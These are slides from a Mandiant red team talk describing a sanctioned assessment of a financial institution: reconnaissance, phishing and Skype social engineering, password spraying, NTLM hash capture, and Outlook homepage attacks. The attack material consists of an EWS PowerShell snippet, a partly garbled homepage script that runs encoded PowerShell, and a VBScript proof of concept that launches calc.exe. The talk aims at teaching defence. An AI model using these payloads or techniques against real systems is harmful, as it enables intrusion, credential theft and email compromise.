Use Case:
Bypassing security teams and controls, abusing security awareness and destroying reputation

Presented by:

- **NURI FATTAH**  |  PRINCIPAL CONSULTANT @ **MANDIANT**

October 17, 2018

Case studies and examples are drawn from our experiences and activities working for a variety of customers, and do not represent our work for any one customer or set of customers. In many cases, facts have been changed to obscure the identity of our customers and individuals associated with our customers.
Use case: *RT assessment against financial institution*

- Financial Institution was compromised in 2014. Since then they have performed the following:
  - 2FA (Duo)
  - MSSP
  - Deployed more technology
  - Audit / compliance assessments
  - Table-top exercises
  - Increased security awareness exercises internally
Use case: *RT assessment against financial institution*

◆ **Scope & Objectives**

<table>
<thead>
<tr>
<th>Objective</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obtain administrative control of active directory</td>
<td>Accomplished</td>
</tr>
<tr>
<td>Obtain unauthorized access to employees’ PII</td>
<td>Accomplished</td>
</tr>
<tr>
<td>Obtain unauthorized access to customers’ PII</td>
<td>Accomplished</td>
</tr>
</tbody>
</table>

*Table 3: Assessment Objectives*
Phase I: Recon & OSINT

◆ As part of Phase I, the Red Team conducted the following actions:
  ▶ Public-facing devices and services
  ▶ Vulnerable infrastructure and services
  ▶ Technologies implemented
  ▶ Employee information and credentials in the public breached databases
  ▶ Employee email addresses and contact information
  ▶ Employees and company social media profiles
  ▶ VPN applications
  ▶ Office 365 without 2FA
Phase I: *Recon & OSINT*

- The Jackpot: SharePoint
  - Search for passwords
  - Search for emails
  - Search for payments
  - Search for system info
Phase I: Recon & OSINT

◆ Other Treasure

Dial-in Conferencing Settings and PIN Management

Sign In
Type your network login credentials.

Language: English (United States)
User name: Type domain\username
Password: 

Sign In  Cancel
Phase 2: Social Engineering

- Goals of SE
  - Credential harvesting
  - Capture user hashes
  - Access to internal emails
  - Shell

- Campaigns:
  - Financial
  - Promotion
  - Lay offs
Phase 2: Social Engineering

- Federated Skype for Business:
  - Identify users to target
  - Identify their titles
  - Identify their management chain
  - Bypass e-mail security controls
  - Away vs. Unavailable
Phase 2: Social Engineering

- Federated Skype for Business:
  - Engage in conversation
  - Share existing documents
  - Create a trust relationship
  - Exploit the trust relationship
Phase 3: *Exploitation*

- Launch campaigns & achieve goals:
  - Breach the company
  - Priv escalation
  - persistance
  - Lateral movement
  - Achieve all objectives
Phase 2: Exploitation

- SMB challenge-response request to Mandiant controller SMB server once such email is selected on outlook desktop clients, as a result employees NET-NTLMv2 hashes were leaked
Phase 2: *Exploitation*

- Credential harvesting
GETTING ACCESS:

◆ The Red Team successfully collected credentials through a targeted phishing campaign
  ▶ Two users with the same generic “welcome” password set by IT.
  ▶ The same password was found in open source dumped databases.
  ▶ Password spraying attack to identify the number of users using the same (potentially default) password. This was achieved based on automated PowerShell scripts and MailSniper utility.
GETTING ACCESS: A Case Study #2

- 848 accounts with the same password (18%)
- 8 domains, which included subsidiaries
- 22 million email objects
- 4.8TB of email data
- Without considering:
  - Other Office 365 services like OneDrive
  - Web services that share authentication
THE SECOND FACTOR? Third Parties

◆ “ActiveSync continues to work as it did prior to installing Duo. Duo's OWA application does not add two-factor authentication to the EWS and ActiveSync endpoints. ActiveSync clients will not see an MFA prompt. We do not recommend exposing the ActiveSync endpoint to external access.”
Attack The Client: *Client Side*

- Ruler by SensePost being used in the wild!
  - Rules
    - Abuse of rules designed to open a local document.
  - Homepages
    - Abuse of HTML homepages for inboxes.
Attack The Client: *Client Side*

- Vulnerabilities found in Outlook configuration.
  - Patched promptly.
- Issues include:
  - Rules
    - Abuse of rules designed to open a local document.
  - Homepages
    - Abuse of HTML homepages for inboxes.
- Seen in the wild!
Attack The Client: **HomePage**

```powershell

$Service.Credentials = [System.Net.NetworkCredential]::new('dan@malwhere.com', 'Password1!')
$Service.Url = 'https://MALWHEREMAIL/EWS/Exchange.asmx'
$PropertySet.Add($IdTagFolderWebViewInfo)
$View.PropertySet = $PropertySet
$Folders = $FolderFind.FindFolders($View)

foreach ($Folder in $Folders.Folders) {
    if ($Folder.TryGetProperty($IdTagFolderWebViewInfoBytes) != $null)
        Write-Host $Folder.DisplayName
$HomePage = [System.Text.Encoding]::default.GetBytes($IdTagFolderWebViewInfoBytes)
Write-Host $HomePage
}
```
Attack The Client: **HomePage**

- @ItsReallyNick

---

**Decoded EMPIRE Downloader:**

```
[Run]AssemblyGetType("System.Management.Automation.Language.AskToUser")
if (GetFile("\"\") != "\"\")
{ SetRetVal(0, $null); } else
{ $null = ConvertTo-String $null; } }]
```

---

**SensePost Ruler**

"Homepage" Shell & Persistence

```
window.onload = function()
{
    var Application = ViewCell1.OpenLookApplication;
    var Set = Application.CreateObject("Script", "Script")
    cmd.Run("powershell.exe -e -p -o hidden -encodedcommand \"WsBSAGU2jgbdA44a098b2+MPA2ZY9G1G0b485C4UMdWAI\" \"www\"\"S4HVA0MAAJQ0acAeUd95A5McdAM14BMLqunAEE
```

---

```
52.17157.98:443 ... responder?
```
Attack The Client: *HomePage*

---

```xml
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
   Set Application = ViewCtl1.OutlookApplication
   Set objShell = Application.CreateObject("shell.application")
   objShell.ShellExecute "cmd.exe ", "/c calc.exe", ",", ",", 0
   Set objShell = nothing
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data=""></object>
```
Attack The Client: *HomePage*

- POC

Client
Attack The Client: *HomePage*

- The script uses the Exchange Web Services (EWS) that is available on “outlook.office365.com” to programmatically set the Folders homepage extended property “PR_FOLDER_WEBVIEWINFO DF,” which then updates the affected users’ Outlook client home.
More recon & internal exploitation

- Send targeted emails to users on the GAL
- Respond back to recent emails with malicious attachment
- Search inbox for passwords
- Search inbox for...... Duo 2FA ??
- Upload & run Responder
More recon & internal exploitation

Responder DEMO
BUSTED?

- User realizes that his email has been used to email other users
- IT Security gets involved
More recon & internal exploitation
BUSTED AGAIN? ....or the icing on the cake?

◆ Incident Responder gets involved!........ And clicks!!
Conclusions

◆ Overall lack of quick threat detection capabilities
◆ Weak password policy
◆ Lack of employee awareness
◆ Lack of proper IR processes
◆ Lack of communication
◆ Lack of visibility into endpoints
◆ 2FA not enforced
◆ Limited internal security controls for email:
  ◆ Lack of Sanitization of SharePoint content & Access Controls
THANK YOU